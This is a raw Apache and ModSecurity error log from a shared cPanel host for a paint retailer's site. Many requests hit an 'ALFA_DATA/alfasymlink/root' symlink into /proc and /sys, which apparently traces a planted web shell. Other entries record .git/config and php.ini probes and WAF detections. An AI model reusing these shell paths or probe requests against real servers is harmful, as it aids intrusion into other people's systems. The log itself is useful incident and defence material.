[Mon Oct 26 04:10:35.884930 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 52.200.142.199:13222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:39.717541 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 52.54.95.127:64202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/unbind
[Mon Oct 26 04:10:41.832784 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 85.208.96.208:28284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/usersize
[Mon Oct 26 04:10:47.719567 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 23.21.119.232:44497] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:51.673750 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 54.225.181.161:10832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:54.501447 2026] [authz_core:error] [pid 2982084:tid 2982084] [client 184.197.118.44:12302] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 04:10:55.785438 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 54.197.114.76:26363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:00.771224 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.211.105.134:52201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:11.737268 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.209.174.110:51353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:20.288076 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 23.23.212.212:28772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:23.774216 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 52.2.58.41:8354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:31.758139 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 54.147.182.90:15512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource0
[Mon Oct 26 04:11:39.825326 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.44.229.124:25718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:43.794399 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.227.180.70:19258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:52.501580 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.93.253.174:1176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:11:55.909418 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 52.201.155.215:33629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:03.697397 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.3.155.146:17719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:11.912915 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 100.25.120.246:37964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:19.637615 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.218.103.254:55856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:31.693232 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 98.84.200.43:39640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:43.515083 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 100.28.133.214:59262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:03.0/firmware_node/subsystem/devices/device:0a/eject
[Mon Oct 26 04:12:51.487963 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 44.207.207.36:1955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:12:59.474307 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 34.197.28.78:31854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:03.683714 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.238.45.183:59288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:08.595045 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 3.214.176.44:27188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:08.595274 2026] [security2:error] [pid 2994762:tid 2994762] [client 3.214.176.44:27188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/local_cpus"] [unique_id "at8LlOGUikRYk_Y-M4eMFQAAAAE"]
[Mon Oct 26 04:13:08.595304 2026] [security2:error] [pid 2994762:tid 2994762] [client 3.214.176.44:27188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/local_cpus"] [unique_id "at8LlOGUikRYk_Y-M4eMFQAAAAE"]
[Mon Oct 26 04:13:19.325054 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 3.225.45.252:39649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_mid/bind
[Mon Oct 26 04:13:23.179962 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 85.208.96.199:22626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/aliases
[Mon Oct 26 04:13:23.332159 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 52.6.5.24:5511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:28.311541 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.226.89.140:44553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:29.995440 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 185.191.171.15:33826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:31.871305 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 54.84.147.79:62321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:39.222909 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 52.70.123.241:9744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/drivers/thermal/bind
[Mon Oct 26 04:13:47.470984 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 3.216.13.10:25247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:13:56.371091 2026] [security2:error] [pid 2990575:tid 2990575] [client 109.244.159.252:42436] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at8LxDnj8sJWmxnIswzOPwAAAAQ"], referer: http://sherwinpinturas.com
[Mon Oct 26 04:13:56.455890 2026] [authz_core:error] [pid 2990575:tid 2990575] [client 109.244.159.252:42436] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 04:13:59.086692 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.222.190.107:38066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:03.184956 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.196.6.199:10591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:09.771945 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 185.191.171.6:36624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:11.600502 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 50.19.79.213:62285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:17.154853 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 85.208.96.212:63516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/objs_per_slab
[Mon Oct 26 04:14:22.881165 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 98.83.10.183:3849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/resource4
[Mon Oct 26 04:14:28.920259 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 52.7.33.248:52715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:31.037955 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.224.205.25:62371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:35.636132 2026] [security2:error] [pid 2992768:tid 2992768] [client 43.135.144.126:46430] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "at8L6xF774Wp7BGGZJkjSAAAAAU"]
[Mon Oct 26 04:14:38.809498 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 100.29.164.178:18350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:14:50.762891 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 44.195.145.102:11647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/driver/bind
[Mon Oct 26 04:14:54.875268 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 52.205.222.214:10470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:15:10.885332 2026] [authz_core:error] [pid 2994762:tid 2994762] [client 23.180.120.171:41305] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:15:18.557413 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 3.94.156.104:26349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/compact
[Mon Oct 26 04:15:22.505663 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 3.220.70.171:62172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/15/module/uevent
[Mon Oct 26 04:15:30.368121 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 34.196.237.236:34982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:15:34.504103 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.94.199.128:23272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:15:46.207221 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.83.23.103:22893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:15:54.229616 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.204.174.139:17500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:16:10.418024 2026] [ssl:error] [pid 2996081:tid 2996081] (5)Input/output error: [client 54.147.182.90:15351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:16:22.183469 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.70.123.241:64910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:16:25.769494 2026] [authz_core:error] [pid 2996018:tid 2996018] [client 47.79.206.16:42268] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Mon Oct 26 04:16:26.392621 2026] [ssl:error] [pid 2996081:tid 2996081] (22)Invalid argument: [client 23.21.227.240:12876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:16:30.224586 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 54.84.169.196:7430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/flags
[Mon Oct 26 04:16:54.333151 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.232.82.72:44820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:02.198086 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.205.113.104:49116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:06.191593 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.4.229.9:53027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:18.170222 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 54.80.73.122:18294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:22.186734 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 52.203.68.145:39168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/fs/cgroup/devices/system.slice/ea-php81-php-fpm.service/devices.deny
[Mon Oct 26 04:17:26.416031 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 18.214.138.148:18233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:38.350426 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 18.214.124.6:5079] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:42.169717 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 52.204.253.129:2289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:46.422205 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 34.231.118.144:21751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:17:58.162732 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 50.16.216.166:7228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:06.198338 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 100.28.204.82:18833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:14.157927 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 3.93.211.16:47557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:22.692994 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 185.191.171.13:29922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/sanity_checks
[Mon Oct 26 04:18:26.369910 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 23.21.204.95:44686] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:28.812937 2026] [security2:error] [pid 2984441:tid 2984441] [client 199.165.159.121:33446] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at8M1Ky4l0fHhEjHUwfMNQAAAAo"]
[Mon Oct 26 04:18:34.182722 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 98.82.39.241:8186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:38.185547 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.243.63.52:48214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:42.165245 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 23.21.204.95:30902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:50.304608 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.193.102.198:32841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:18:58.178718 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 3.93.253.174:18413] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/unbind
[Mon Oct 26 04:19:02.178799 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 107.20.224.184:18013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:06.324718 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.224.215.150:11200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:10.279945 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 54.157.84.74:29883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:18.229167 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 3.213.106.226:59853] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:21.736156 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 85.208.96.193:30088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/gather_update_log_stats
[Mon Oct 26 04:19:22.192919 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 35.172.125.172:45077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:30.148502 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 98.82.107.102:38554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/cpu0/crash_notes_size
[Mon Oct 26 04:19:38.188057 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 52.5.242.243:27905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:46.374173 2026] [ssl:error] [pid 2988243:tid 2988243] (22)Invalid argument: [client 18.232.12.157:18802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:49.825276 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 85.208.96.208:17870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:19:56.535984 2026] [security2:error] [pid 2992769:tid 2992769] [client 199.165.159.121:39148] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at8NLB5KE-XDnbMv2942IAAAAAY"]
[Mon Oct 26 04:19:56.536245 2026] [security2:error] [pid 2992769:tid 2992769] [client 199.165.159.121:39148] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at8NLB5KE-XDnbMv2942IAAAAAY"]
[Mon Oct 26 04:19:56.544674 2026] [security2:error] [pid 2992769:tid 2992769] [client 199.165.159.121:39148] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at8NLB5KE-XDnbMv2942IAAAAAY"]
[Mon Oct 26 04:20:07.466252 2026] [core:error] [pid 2998016:tid 2998016] (13)Permission denied: [client 85.208.96.194:26454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/cpu_slabs
[Mon Oct 26 04:20:10.231075 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 34.199.252.22:4553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:20:14.331966 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.206.249.188:54761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:20:26.160542 2026] [ssl:error] [pid 2998016:tid 2998016] (70014)End of file found: [client 52.7.13.143:22177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:20:33.224380 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:54138] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/fd/' is executable
[Mon Oct 26 04:20:33.224460 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:54138] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/map_files/' is executable
[Mon Oct 26 04:20:33.224475 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:54138] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1371/fdinfo/' is executable
[Mon Oct 26 04:20:36.449092 2026] [core:crit] [pid 2996081:tid 2996081] (13)Permission denied: [client 216.244.66.250:54146] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/fd/' is executable
[Mon Oct 26 04:20:36.449159 2026] [core:crit] [pid 2996081:tid 2996081] (13)Permission denied: [client 216.244.66.250:54146] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/map_files/' is executable
[Mon Oct 26 04:20:36.449176 2026] [core:crit] [pid 2996081:tid 2996081] (13)Permission denied: [client 216.244.66.250:54146] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195217/fdinfo/' is executable
[Mon Oct 26 04:20:41.598195 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:55372] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/fd/' is executable
[Mon Oct 26 04:20:41.598240 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:55372] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/map_files/' is executable
[Mon Oct 26 04:20:41.598275 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 216.244.66.250:55372] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/395/fdinfo/' is executable
[Mon Oct 26 04:20:46.195641 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 54.197.82.195:12714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory1/subsystem/uevent
[Mon Oct 26 04:20:58.327766 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 107.20.255.194:27310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource3
[Mon Oct 26 04:21:02.321203 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 52.1.106.130:43005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:07.017555 2026] [core:error] [pid 2994318:tid 2994318] (13)Permission denied: [client 85.208.96.197:30596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/sanity_checks
[Mon Oct 26 04:21:14.142229 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.205.222.214:24487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/line
[Mon Oct 26 04:21:18.173623 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.83.240.58:20300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:21:22.257043 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 34.231.45.47:55723] AH02013: coalesce failed to read from data bucket
